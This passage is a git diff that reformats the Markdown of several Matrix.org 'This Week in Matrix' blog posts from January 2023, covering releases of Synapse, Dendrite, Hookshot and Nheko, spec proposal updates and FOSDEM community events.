[BarCamp](https://en.wikipedia.org/wiki/BarCamp) style. If you have a certain interest to learn about something or you want to present something in particular, we want to hear about it! > Furthermore, be aware that HSBXL is hosting more events in the FOSDEM "fringe", such as a [beer tasting](https://hsbxl.be/events/byteweek/2023/hsbxl-beer-event/) on Friday right after our Matrix Meetup, and also the [bytenight](https://hsbxl.be/events/byteweek/2023/bytenight/) party on Saturday. > Find us at [#fosdem23-community-meetup:matrix.org](https://matrix.to/#/#fosdem23-community-meetup:matrix.org) for more info, program suggestions, to follow the process, and general discussion. -> +> > See you in Brussels! ## Dept of Interesting Projects 🛰️ @@ -277,16 +280,16 @@ An image gallery for Matrix [MTRNord](https://matrix.to/#/@mtrnord:midnightthoughts.space) announces > Yes, you are reading correct. This is about Matrix Art ^^ -> -> After quite some while, I started to work on it again. I merged the new design into main, updated the UI, and it is available at https://art.midnightthoughts.space/ again. -> +> +> After quite some while, I started to work on it again. I merged the new design into main, updated the UI, and it is available at again. +> > Current goals are to add the User and Post pages again and implement of the new storage system. The new system uses [Spaces as FS](https://github.com/matrix-org/matrix-spec-proposals/blob/travis/msc/trees/proposals/3089-file-tree-structures.md) at its core for the timeline. -> +> > Specifically, Matrix Art is basically a big Space containing a Folder for each User, similar to a Room Directory. In that, there are Timeline spaces which act as the Public Feed. This allows Matrix Art to provide a way of having invite only feeds as well, using normal room permissions. -> -> In practice, the tree is like this (thanks to Travis for designing this many months ago): -> -> ``` +> +> In practice, the tree is like this (thanks to Travis for designing this many months ago): +> +> ```txt > + 📂 Matrix Art User Dir (public, m.space) > + 📂 User A (public, m.space) > + 📂 Timeline (m.space) @@ -299,8 +302,8 @@ An image gallery for Matrix > = Room B (invite protected, ) > - 📄 Image D (counted as under the timeline) > ``` -> -> Feel free to join [#matrix-art:midnightthoughts.space](https://matrix.to/#/#matrix-art:midnightthoughts.space) or watch the Repo at https://github.com/MTRNord/matrix-art +> +> Feel free to join [#matrix-art:midnightthoughts.space](https://matrix.to/#/#matrix-art:midnightthoughts.space) or watch the Repo at ## Dept of Guides 🧭 @@ -309,9 +312,9 @@ An image gallery for Matrix [Bram](https://matrix.to/#/@bram:noordstar.me) announces > Quick update on the [matrix.directory](https://matrix.directory/) website: we've added the custom event type `io.element.functional_members`. As you may know, many projects within Matrix don't use any custom event types at all. This can make it difficult to find custom event types, which is (ironically) why I created the matrix.directory website in the first place. -> +> > You can find the source code for the website on [GitHub](https://github.com/BramvdnHeuvel/Matrix-Events-Directory). I encourage you to check it out and contribute any custom event types you may have. Your contributions will help make the website a valuable resource for the Matrix community. -> +> > Thanks for your support! ## Dept of Ping @@ -319,6 +322,7 @@ An image gallery for Matrix Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -335,6 +339,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|trygve.me|421| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/01/2023-01-13-this-week-in-matrix-2023-01-13.md b/content/blog/2023/01/2023-01-13-this-week-in-matrix-2023-01-13.md index 99b26a824..f31fd3748 100644 --- a/content/blog/2023/01/2023-01-13-this-week-in-matrix-2023-01-13.md +++ b/content/blog/2023/01/2023-01-13-this-week-in-matrix-2023-01-13.md @@ -17,60 +17,64 @@ category = ["This Week in Matrix"] [Dandellion](https://matrix.to/#/@dandellion:dodsorf.as) announces > Back in July I started a discussion on wikidata for adding a matrix space property, after much discussion in the wikidata community (lead mostly by tgr) we instead landed on a [Matrix room property](https://www.wikidata.org/wiki/Property:P11478). This now enables slightly more accurate semantics when describing matrix rooms belonging to organizations, projects, and people on wikidata. -> +> > Wikidata is a knowledge base available under a free license and using standard machine-parsable data to add information to what is known as the "semantic web", this allows querying for information like for example: [Organizations with matrix rooms](https://query.wikidata.org/#%23%20Organizations%20with%20matrix%20rooms%0ASELECT%20DISTINCT%20%3Forg%20%3ForgLabel%20%3Froom%20%3FtypeLabel%0AWHERE%20%0A%7B%0A%20%20%3Forg%20wdt%3AP31%2Fwdt%3AP279%2a%20wd%3AQ43229.%20%23%20Find%20items%20which%20are%20some%20kind%20of%20organization%0A%20%20%3Forg%20p%3AP11478%20%3Fs.%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%20Which%20have%20some%20statement%20%3Fs%20about%20having%20a%20matrix%20room%0A%20%20%3Fs%20ps%3AP11478%20%3Froom.%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%20the%20statements%27s%20matrix%20room%20value%20is%20%3Froom%0A%20%20OPTIONAL%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%20And%20which%20optionally%0A%20%20%20%20%3Fs%20pq%3AP31%20%3Ftype.%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%20is%20of%20type%20%3Ftype%0A%20%20%7D%0A%20%20SERVICE%20wikibase%3Alabel%20%7B%20bd%3AserviceParam%20wikibase%3Alanguage%20%22%5BAUTO_LANGUAGE%5D%2Cen%22.%20%7D%20%23%20Helps%20get%20the%20label%20in%20your%20language%2C%20if%20not%2C%20then%20en%20language%0A%7D%20ORDER%20BY%20%3ForgLabel) -> +> > As the rest of wikimedia's projects it's open for contributions! ## Dept of Spec 📜 [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) announces -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > **New MSCs:** +> > * [[WIP] MSC3956: Extensible Events - Encrypted Events](https://github.com/matrix-org/matrix-spec-proposals/pull/3956) > * [MSC3955: Extensible Events - Automated event mixin (notices)](https://github.com/matrix-org/matrix-spec-proposals/pull/3955) > * [MSC3954: Extensible Events - Text Emotes](https://github.com/matrix-org/matrix-spec-proposals/pull/3954) > * [MSC3953: Server capability DAG](https://github.com/matrix-org/matrix-spec-proposals/pull/3953) > * [MSC3952: Intentional Mentions](https://github.com/matrix-org/matrix-spec-proposals/pull/3952) -> -> +> +> > **MSCs in Final Comment Period:** +> > * *No MSCs are in FCP.* -> +> > **Merged MSCs:** +> > * [MSC3904: Room version 10 as the default room version](https://github.com/matrix-org/matrix-spec-proposals/pull/3904) > * [MSC3783: Fixed base64 for SAS verification](https://github.com/matrix-org/matrix-spec-proposals/pull/3783) -> +> > **Closed MSCs:** +> > * [MSC3852: Expose user agent information on `Device`](https://github.com/matrix-org/matrix-spec-proposals/pull/3852) > * [MSC3517: "Mention" Pushrule](https://github.com/matrix-org/matrix-spec-proposals/pull/3517) > * Deprecated in favour of [MSC3952: Intentional Mentions](https://github.com/matrix-org/matrix-doc/pull/3952). -> +> > ## Spec Updates -> +> > As you can tell from the above MSC list, Extensible Events continues to charge forwards, with Travis working busily away at replicating all of the existing event functionality (plus new functionality - image albums anyone?) in a world containing Extensible Events. As always, take a look at the core MSC ([MSC1767](https://github.com/matrix-org/matrix-doc/pull/1767)) for a background on what Extensible Events is, and why it's so exciting. -> +> > This week has also seen [room version 10](https://spec.matrix.org/v1.5/rooms/v10/) become the default recommended room version in the spec! As a reminder, v10 brings the ability to have a room that's both [knockable](https://spec.matrix.org/v1.5/client-server-api/#knocking-on-rooms) and [restricted](https://spec.matrix.org/v1.5/client-server-api/#restricted-rooms) at once, as well as more strictly enforces the types of power level values. -> +> > Otherwise we've seen lots of movement in other areas of the spec. Expect to see some work done around push rules (which have historically been rather complicated and fiddly...) and notifications in the days to come. -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC3779: "Owned" State Events](https://github.com/matrix-org/matrix-spec-proposals/pull/3779)! -> +> > I remember this MSC fondly. It was originally born out of [MSC3489](https://github.com/matrix-org/matrix-spec-proposals/pull/3489)'s need to allow any user in the room to send `m.beacon_info` state events. This can easily be achieved today by lowering the required power level of `m.beacon_info` to the default user level. However, you then run into the issue of any user being able to edit any other user's `m.beacon_info` event! -> +> > Thus this MSC attempts to modify the state events permission model so that users can "own" certain state events that they send. We already somewhat have this functionality - if you put your Matrix ID as the state ID for any state event, only you or users with a power level higher than you can edit it. -> +> > Sadly this little trick (which we use for `m.room.member` events) doesn't work in the case of live location sharing, as the feature demands the ability to share location from multiple devices at once. Hence, trying to send two `m.beacon_info` events with the same state key would overwrite each other. -> +> > This MSC attempts to expand the functionality by modifying the definition so that a user "owns" a state event if the state key *starts* with their Matrix ID. Problem solved... for the most part! -> +> > Do check out the MSC if you have some use cases in mind that would benefit from something like this. @@ -84,17 +88,17 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Shay](https://matrix.to/#/@shayshay:matrix.org) says > A new year, more improvements to Synapse! We are back at work and have released -> Synapse v1.75.0rc2, with a host of features, bugfixes and internal changes to +> Synapse v1.75.0rc2, with a host of features, bugfixes and internal changes to > make Synapse faster and more stable. Some notable changes are: -> +> > * Experimental support for MSC3391 (removing account data) > * Support RFC7636 Proof Key for Code Exchange for OAuth single sign-on -> * Fixed a bug introduced in Synapse 1.70.0 which could cause spurious UNIQUE +> * Fixed a bug introduced in Synapse 1.70.0 which could cause spurious UNIQUE > constraint failed errors in the rotate_notifs background job > * Removed the unspecced device field from /pushrules responses > * Declared support for Python 3.11 -> -> And much more! If you'd like to learn more, head on over to https://github.com/matrix-org/synapse/releases and +> +> And much more! If you'd like to learn more, head on over to and > take a look. ## Dept of Bridges 🌉 @@ -106,18 +110,19 @@ A multi purpose multi platform bridge, formerly known as matrix-github [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) says > ### Hookshot 2.6.0 -> +> > Evenings greetings! It's been a while since we've done a Hookshot release, so this one is pretty large. We've got two major features this time around, [**Encrypted Room Support**](https://matrix-org.github.io/matrix-hookshot/latest/advanced/encryption.html) and **Service Bots**. The former now allows you to invite the hookshot bot to encrypted rooms and issue commands to it as normal, it should work entirely transparently. It currently requires a homeserver with [MSC3202](https://github.com/matrix-org/matrix-spec-proposals/pull/3202) support, such as Synapse. One final note is that it's extremely experimental and beta-y, so please do not run this on your production instances or it might format your cats. However, please do report all your findings to us. We love fan mail 📧 -> +> > Service bots is another great feature that now allows you to split hookshot into several different bots, so you can have a GitHub bot, a GitLab bot, a JIRA bot and so on. It's [extremely flexible](https://matrix-org.github.io/matrix-hookshot/latest/advanced/service_bots.html), so please have a go and let us know what you think. -> -> You can find this release at https://github.com/matrix-org/matrix-hookshot/releases/tag/2.6.0, or by doing `docker pull halfshot/matrix-hookshot:2.6.0`. -> +> +> You can find this release at , or by doing `docker pull halfshot/matrix-hookshot:2.6.0`. +> > Finally, the highlights are: +> > * Add support for end-to-bridge encryption via MSC3202. ([\#299](https://github.com/matrix-org/matrix-hookshot/issues/299)) > * Add support for additional bot users called "service bots" which handle a particular connection type, so that different services can be used through different bot users. ([\#573](https://github.com/matrix-org/matrix-hookshot/issues/573)) > * Add new GitHubRepo connection config setting `workflowRun.workflows` to filter run reports by workflow name. ([\#588](https://github.com/matrix-org/matrix-hookshot/issues/588)) -> +> > * Parent projects are now taken into account when calculating a user's access level to a GitLab project. ([\#539](https://github.com/matrix-org/matrix-hookshot/issues/539)) > * Ensure bridge treats published and drafted GitHub releases as different events. ([\#582](https://github.com/matrix-org/matrix-hookshot/issues/582)) > * Remove support for Pantalaimon-based encryption. ([\#299](https://github.com/matrix-org/matrix-hookshot/issues/299)) @@ -132,33 +137,33 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) says > You know the custom of having a cheesy goal for the next year? Well, I had Raclette for new years, so my only goal was to have at least one Nheko release! And for that reason and to get all the planned things out of the way for this year, it is my pleasure to announce Nheko 0.11.0! -> -> It is packed with contributions and translations from way too many people for me to count on one hand! You can find it eventually in all the usual places, for example our releases list: https://github.com/Nheko-Reborn/nheko/releases/tag/v0.11.0 -> +> +> It is packed with contributions and translations from way too many people for me to count on one hand! You can find it eventually in all the usual places, for example our releases list: +> > If you hate clicking links, here is a small spoiler of some of the ingredients (apart from the cheese): -> +> > ### Highlights -> +> > * Search in your timeline 🔍 -> - Works in encrypted rooms. -> - Search is entirely local. -> - It might be a bit slow on some systems, since it needs to paginate the room +> * Works in encrypted rooms. +> * Search is entirely local. +> * It might be a bit slow on some systems, since it needs to paginate the room > to search instead of relying on the server. > * Pushrule support! 🫸🫷 -> - Notifications should now be faster and not rely on the server. -> - Notifications should work properly in encrypted rooms. -> - MSC3664 is supported for pushrules for reply (needs server support). -> - Mentions get highlighted in the timeline. -> - Decrypting notifications can be disabled for improved privacy. +> * Notifications should now be faster and not rely on the server. +> * Notifications should work properly in encrypted rooms. +> * MSC3664 is supported for pushrules for reply (needs server support). +> * Mentions get highlighted in the timeline. +> * Decrypting notifications can be disabled for improved privacy. > * Threads 🧵 -> - Threads are a simple way to structure large rooms. -> - Start a new thread from any event. -> - Focus on a specific thread by clicking on the colored thread button next to +> * Threads are a simple way to structure large rooms. +> * Start a new thread from any event. +> * Focus on a specific thread by clicking on the colored thread button next to > any event from this thread. -> - Replies automatically land inside the thread. -> +> * Replies automatically land inside the thread. +> > ### Features -> +> > * Remember where you left off using the new unread indicator! --- > * Navigate to space when selected in quick switcher or via link. > * (Re-)Add an AppImage build. (Zhymabek Roman) @@ -171,14 +176,14 @@ Desktop client for Matrix using Qt and C++17. > * Completer for /commands. > * Allow opening room settings from room list. (LorenDB) > * Allow setting the status message via the dbus API. (LorenDB) -> - Check out this for one possible usecase: https://schlomp.space/tastytea/dotfiles/src/commit/485aa7103c4f414ce0731804acf34a65a772fd28/.local/bin/mpd2nheko (Setting your currently playing song as your status) +> * Check out this for one possible usecase: (Setting your currently playing song as your status) > * Allow swapping Enter and Shift-Enter. (LordMZTE) > * Preliminary support for VoIP v1. (Rohit) > * Allow applying permission changes in spaces recursively. > * Allow modifying permissions of users not in the room. -> +> > ### Improvements -> +> > * Prompt before deleting the database when the error could be resolved by the user. > * Improve logging in particular for sync or registration errors. > * Speedup quick switcher. @@ -197,11 +202,11 @@ Secure and independent communication, connected via Matrix. Come talk with us in [kittykat](https://matrix.to/#/@kittykat:matrix.org) reports > * You can try out the upcoming release on staging.element.io! Threads is now on by default, so take it for a spin -> * Meanwhile, we’ve made some improvements to the polls dialog, including better scaling -> -> +> * Meanwhile, we’ve made some improvements to the polls dialog, including better scaling +> +> > In labs (you can enable labs features in settings on develop.element.io or on Nightly): -> +> > * We’ve added more features to the rich text editor, including support for lists ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -238,13 +243,13 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [ben](https://matrix.to/#/@gnunicorn:matrix.org) reports > Even though the end of the year is usually a quiet time, big steps forward have been made in the last couple of weeks on many important areas of the rust SDK. -> +> > With Sliding Sync being tried out in Element-X a few more bugs and edge-case scenarios have been uncovered, where it doesn’t play well yet. For example resending the [correct extension settings on session restart](https://github.com/matrix-org/matrix-rust-sdk/pull/1307) including [to-device-tokens](https://github.com/matrix-org/matrix-rust-sdk/pull/1321), [invalidation indexes](https://github.com/matrix-org/matrix-rust-sdk/pull/1333), or [incorrectly skipping to-device processing](https://github.com/matrix-org/matrix-rust-sdk/pull/1340) and [various other smaller fixes](https://github.com/matrix-org/matrix-rust-sdk/pull/1335). The latter PR also contains a first set of integration-tests running testing the SDK against synapse and the sliding-sync-proxy. We intend to expand on that and include it in the CI as soon as github actions are unblocked for it. -> +> > Similar has been done on the Timeline feature, with a [better more flexible timeline pagination implementation](https://github.com/matrix-org/matrix-rust-sdk/pull/1327), a new [virtual loading indicator item](https://github.com/matrix-org/matrix-rust-sdk/pull/1324), [improved logging](https://github.com/matrix-org/matrix-rust-sdk/pull/1344) and [date dividers and read markers](https://github.com/matrix-org/matrix-rust-sdk/pull/1287). All good stuff, making it easier to implement a useful chat UI on top of it. -> +> > On async UniFFI we see the same picture: with Swift, Kotlin and Python now executing rust futures as well as handling their error results properly. And time couldn’t be any better as we can hear the creaking of the blocking-runtime we currently have under the hood in Element-X and it is starting to show the limits of what we can implement in a useful manner. We are confident we can start experimenting with it in live apps fairly soon. -> +> > ️👉 Wanna hack on matrix rust? Go check out our [`help wanted` tagged issues](https://github.com/matrix-org/matrix-rust-sdk/issues?q=is%3Aissue+is%3Aopen+label%3A%22help+wanted%22) and join our matrix channel at Matrix Rust SDK. join our matrix channel at Matrix Rust SDK. ### libQuotient ([website](https://github.com/quotient-im/libQuotient)) @@ -264,7 +269,7 @@ Matrix server setup using Ansible and Docker [Slavi](https://matrix.to/#/@slavi:devture.com) announces > Thanks to [Cody Neiman](https://github.com/xangelix)'s efforts, [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy) now supports bridging to [Slack](https://slack.com/) via the [mautrix-slack](https://mau.dev/mautrix/slack) bridge. See our [Setting up Mautrix Slack bridging](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/docs/configuring-playbook-bridge-mautrix-slack.md) documentation page for getting started. -> +> > The playbook still retains Slack bridging via [matrix-appservice-slack](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/docs/configuring-playbook-bridge-appservice-slack.md) and [mx-puppet-slack](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/docs/configuring-playbook-bridge-mx-puppet-slack.md). Playbook users are free to use the bridge that serves them better, or even all three of them (for different users and use-cases). [Slavi](https://matrix.to/#/@slavi:devture.com) says @@ -278,11 +283,11 @@ Matrix server setup using Ansible and Docker [jaller94](https://matrix.to/#/@jaller94:matrix.org) announces > Meet Kim (aka HarHarLinks) who learned about Matrix in 2017 while studying. He's now managing Matrix projects professionally and attends conferences about the protocol and other open source software. -> +> > Learn about him and how you could land a Matrix job. See you at #FOSDEM2023! -> -> Episode link: https://anchor.fm/matrix-podcast0/episodes/Kim---Vor-der-FOSDEM-2023-e1teh6l -> Mastodon post: https://mastodontech.de/@jaller94/109682609755003775 +> +> Episode link: +> Mastodon post: ## Dept of Interesting Projects 🛰️ @@ -291,17 +296,20 @@ Matrix server setup using Ansible and Docker [imbev](https://matrix.to/#/@imbev:matrix.org) reports > matrix-social is a social media client powered by Matrix. -> +> > * Posts (messages) can be sent > * Redaction of upvotes/downvotes is now possible > * Several bugs are fixed > * We're currently working on per-room views and sending replies -> -> Preview matrix-social at https://imbev.codeberg.page/matrix-social/ -> +> +> Preview matrix-social at  +> > All are welcome to join us at #matrix-social:matrix.org! +> > ![](/blog/img/dGQzAQNHXJnlyWgiEzhXVdAe.png) +> > ![](/blog/img/CiukTUqvGWAltxhjhKHfFnxJ.png) +> > ![](/blog/img/ELqFElYbWPDQFzpvMRzQYqUB.png) ## Dept of Ping @@ -309,6 +317,7 @@ Matrix server setup using Ansible and Docker Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -325,6 +334,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|rom4nik.pl|602| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/01/2023-01-19-synapse-1-75-released.md b/content/blog/2023/01/2023-01-19-synapse-1-75-released.md index 923c752cc..7008127b6 100644 --- a/content/blog/2023/01/2023-01-19-synapse-1-75-released.md +++ b/content/blog/2023/01/2023-01-19-synapse-1-75-released.md @@ -77,4 +77,3 @@ order): Ashish Kumar, Dirk Klimpel, Jeremy Kescher, Jeyachandran Rathnam, Nick Mills-Barrett, Jason Little, Villepeh and Vertux. We are also grateful to anyone helping us make Synapse better by sharing their feedback and reporting issues, or helping with community support questions. - diff --git a/content/blog/2023/01/2023-01-20-this-week-in-matrix-2023-01-20.md b/content/blog/2023/01/2023-01-20-this-week-in-matrix-2023-01-20.md index fc9a24655..9e64139ec 100644 --- a/content/blog/2023/01/2023-01-20-this-week-in-matrix-2023-01-20.md +++ b/content/blog/2023/01/2023-01-20-this-week-in-matrix-2023-01-20.md @@ -16,30 +16,33 @@ Unfortunately no Matrix Live this week! [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) says -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > **New MSCs:** +> > * *There were no new MSCs this week.* -> +> > **MSCs in Final Comment Period:** +> > * [MSC3943: Partial joins to nameless rooms should include heroes' memberships](https://github.com/matrix-org/matrix-spec-proposals/pull/3943) (merge) -> +> > **Merged MSCs:** +> > * *No MSCs were merged this week.* -> +> > ## Spec Updates -> +> > This week and the week afterwards, the Spec Core Team are mostly focused on improvements to Matrix that we'd like to show off at FOSDEM 2023 this year! That consists of MSCs related to Faster Room Joins ([MSC3943](https://github.com/matrix-org/matrix-spec-proposals/pull/3943) among others) and Extensible Events ([MSC1767](https://github.com/matrix-org/matrix-spec-proposals/pull/1767)). -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC3230: Spaces top level order](https://github.com/matrix-org/matrix-spec-proposals/pull/3230)! -> +> > This defines an algorithm and a data structure that can be used to order one's top-level list of Spaces and have that order sync across all of their clients. Rooms and spaces within a Space continue to have their order [defined](https://spec.matrix.org/v1.5/client-server-api/#ordering-of-children-within-a-space) by an `order` key (and failing that, the `origin_server_ts` field) in the corresponding `m.space.child` event of their parent's Space's state. -> +> > I won't get into the details of the algorithm here (or its criticisms), but feel free to jump into the MSC and take a look! @@ -54,30 +57,30 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t > This week the Synapse team has been finishing a sprint on the [faster joins](https://github.com/matrix-org/matrix-spec-proposals/pull/3902) project. > As a reminder, this is a year-long project to make Synapse quickly join a new room by lazily loading some of its state history in the background. -> It is particularly needed when joining large rooms with lots of members: joining such rooms is bottlenecked on fetching, serialising, deserialising and validating a _huge_ list of [room member events](https://spec.matrix.org/v1.5/client-server-api/#mroommember). +> It is particularly needed when joining large rooms with lots of members: joining such rooms is bottlenecked on fetching, serialising, deserialising and validating a *huge* list of [room member events](https://spec.matrix.org/v1.5/client-server-api/#mroommember). > While the core logic and machinery has been in place for some time now, this sprint has concentrated on two pain points: -> +> > * making faster joins to work on Synapse installations [using workers](https://matrix-org.github.io/synapse/latest/workers.html), and > * remaining edge cases needed for a good client UX. -> +> > ## Call for testers -> +> > We hope to ship the first iteration of faster joins support in Synapse 1.76.0. > The release candidate `1.76.0rc1` will be released on Tuesday 24th Jan. > **We'd like to encourage homeserver administrators to try it out** before the release proper. > Once you've upgraded, try joining rooms which no-one else on your server is joined to. > We graciously welcome any bug reports---please file [GitHub issues](https://github.com/matrix-org/synapse/issues/new?assignees=&labels=&template=BUG_REPORT.yml) if you find anything out of the ordinary after joining a room. -> +> > ## Synapse 1.75 -> +> > We released [Synapse 1.75](https://github.com/matrix-org/synapse/releases/tag/v1.75.0) (see [blog](https://matrix.org/blog/2023/01/19/synapse-1-75-released)) this week. Its highlights include: -> +> > * performance fixes for [/sync](https://github.com/matrix-org/synapse/pull/14786) and [/hierarchy](https://github.com/matrix-org/synapse/pull/14263); > * [support](https://github.com/matrix-org/synapse/pull/14750) for [RFC7636](https://datatracker.ietf.org/doc/html/rfc7636) when using OAuth 2.0 (which enables [SSO via Twitter](https://github.com/matrix-org/synapse/issues/9389)); and > * experimental [support](https://github.com/matrix-org/synapse/issues/14714) for [MSC3391, Removing account data](https://github.com/matrix-org/matrix-spec-proposals/pull/3391); -> +> > plus the usual selection of bugfixes, internal improvements and work on the faster joins project. -> +> > Our continued thanks to our community of admins, testers, contributors and end-users. ### Dendrite ([website](https://github.com/matrix-org/dendrite)) @@ -87,43 +90,43 @@ Second generation Matrix homeserver [Till](https://matrix.to/#/@s7evink:matrix.org) says > This week we've released two versions of Dendrite, [0.11.0](https://github.com/matrix-org/dendrite/releases/tag/v0.11.0) being the most recent one, and probably most exciting one, given we now reached **100%** server-server parity to Synapse, with client-server parity at **93%**! -> -> ## [Version 0.11.0](https://github.com/matrix-org/dendrite/releases/tag/v0.11.0) today: -> +> +> ## [Version 0.11.0](https://github.com/matrix-org/dendrite/releases/tag/v0.11.0) today +> > ### Features -> +> > * Added `/_dendrite/admin/purgeRoom/{roomID}` to clean up the database > * The default room version was updated to 10 (contributed by [FSG-Cat](https://github.com/FSG-Cat)) -> +> > ### Fixes -> +> > * The last three missing server-server Sytests - bringing us to **100%** server-server Synapse parity (**93%** for client-server) 🎉 > * An oversight in the `create-config` binary, which now correctly sets the media path if specified (contributed by [BieHDC](https://github.com/BieHDC)) > * The Helm chart now uses the `$.Chart.AppVersion` as the default image version to pull, with the possibility to override it (contributed by [genofire](https://github.com/genofire)) -> -> ## [Version 0.10.9](https://github.com/matrix-org/dendrite/releases/tag/v0.10.9) on Tuesday: -> +> +> ## [Version 0.10.9](https://github.com/matrix-org/dendrite/releases/tag/v0.10.9) on Tuesday +> > ### Features -> +> > * Stale device lists are now cleaned up on startup, removing entries for users the server doesn't share a room with anymore > * Dendrite now has its own Helm chart > * Guest access is now handled correctly (disallow joins, kick guests on revocation of guest access, as well as over federation) -> +> > ### Fixes -> +> > * Push rules have seen several tweaks and fixes, which should, for example, fix notifications for `m.receipt` > * Outgoing presence will now correctly be sent to newly joined hosts > * Fixes the `/_dendrite/admin/resetPassword/{userID}` admin endpoint to use the correct variable > * Federated backfilling for medium/large rooms has been fixed > * `/login` causing wrong device list updates has been resolved > * `/sync` should now return the correct room summary heroes -> * The default config options for `recaptcha_sitekey_class` and `recaptcha_form_field` are now set correctly +> * The default config options for `recaptcha_sitekey_class` and `recaptcha_form_field` are now set correctly > * `/messages` now omits empty `state` to be more spec compliant (contributed by [handlerug](https://github.com/handlerug)) > * `/sync` has been optimised to only query state events for history visibility if they are really needed -> -> +> +> > If you have a Dendrite homeserver, staying up-to-date is highly recommended so please upgrade when you can. Otherwise, if you want to play with Dendrite without having to set up your own infrastructure, the dendrite.matrix.org homeserver is open for registration (upon completion of a CAPTCHA, so you may need to register using Element Web). -> +> > As always, please feel free to join us in [#dendrite:matrix.org](https://matrix.to/#/#dendrite:matrix.org) for related discussion. ## Dept of Bridges 🌉 @@ -135,13 +138,13 @@ A multi purpose multi platform bridge, formerly known as matrix-github [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) reports > ### Hookshot 2.7.0 -> +> > Howdy! This release features one change, but an important change: We've finally fixed the poor UX around adding new connections in rooms via widgets. Up until today, the project selector input was quite poor and flaked out a lot. Missing search results, clipping dropdowns or duplicated entries were a common occurrence. -> +> > The new input field features a much improved look, so now you see the project name, description and avatar when searching across GitHub, GitLab and JIRA. The search time and accuracy should be much improved too. -> +> > If you've updated to the [previous releases, 2.6.0,1](https://github.com/matrix-org/matrix-hookshot/releases/tag/2.6.1), then now is a good time to do so because those releases contained a whole range of cool new stuff! -> +> > Check out [2.7.0](https://github.com/matrix-org/matrix-hookshot/releases/tag/2.7.0)! ## Dept of Clients 📱 @@ -152,13 +155,13 @@ Desktop client for Matrix using Qt and C++17. [red_sky (nheko.im)](https://matrix.to/#/@red_sky:nheko.im) announces -> Nheko has another release already. Shortly after releasing v0.11.0, we discovered a CPU utilization issue that causes nheko to use excessive CPU, even when idle. We have released v0.11.1 to address this issue and also add a failure state for pending sent messages (to help avoid them getting stuck in the queue). Packages are available at https://github.com/Nheko-Reborn/nheko/releases/tag/v0.11.1 and on flathub for the flatpak users. +> Nheko has another release already. Shortly after releasing v0.11.0, we discovered a CPU utilization issue that causes nheko to use excessive CPU, even when idle. We have released v0.11.1 to address this issue and also add a failure state for pending sent messages (to help avoid them getting stuck in the queue). Packages are available at and on flathub for the flatpak users. ### FluffyChat ([website](https://fluffychat.im)) [Krille](https://matrix.to/#/@krille:janian.de) says -> I wrote a blog article about updomcing UX changes with DM rooms in FluffyChat here: https://ko-fi.com/post/UX-in-the-matrix--How-to-handle-direct-messa-M4M6HVHU6?justpublished=true&alias=UX-in-the-matrix--How-to-handle-direct-messa-M4M6HVHU6 +> I wrote a blog article about updomcing UX changes with DM rooms in FluffyChat here: ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -177,13 +180,13 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [ben](https://matrix.to/#/@gnunicorn:matrix.org) says > First and foremost: [UniFFI async is all done and submitted for review](https://github.com/mozilla/uniffi-rs/pull/1409) 🎉 and first responses are pretty positive. Discussion has revealed some unlikely but possible undefined behavior that needs to be addressed and more review is needed. But overall, we are pretty confident that this will land soon. 🚀 -> -> Where there is light, there is shadow: When trying to integrate the community 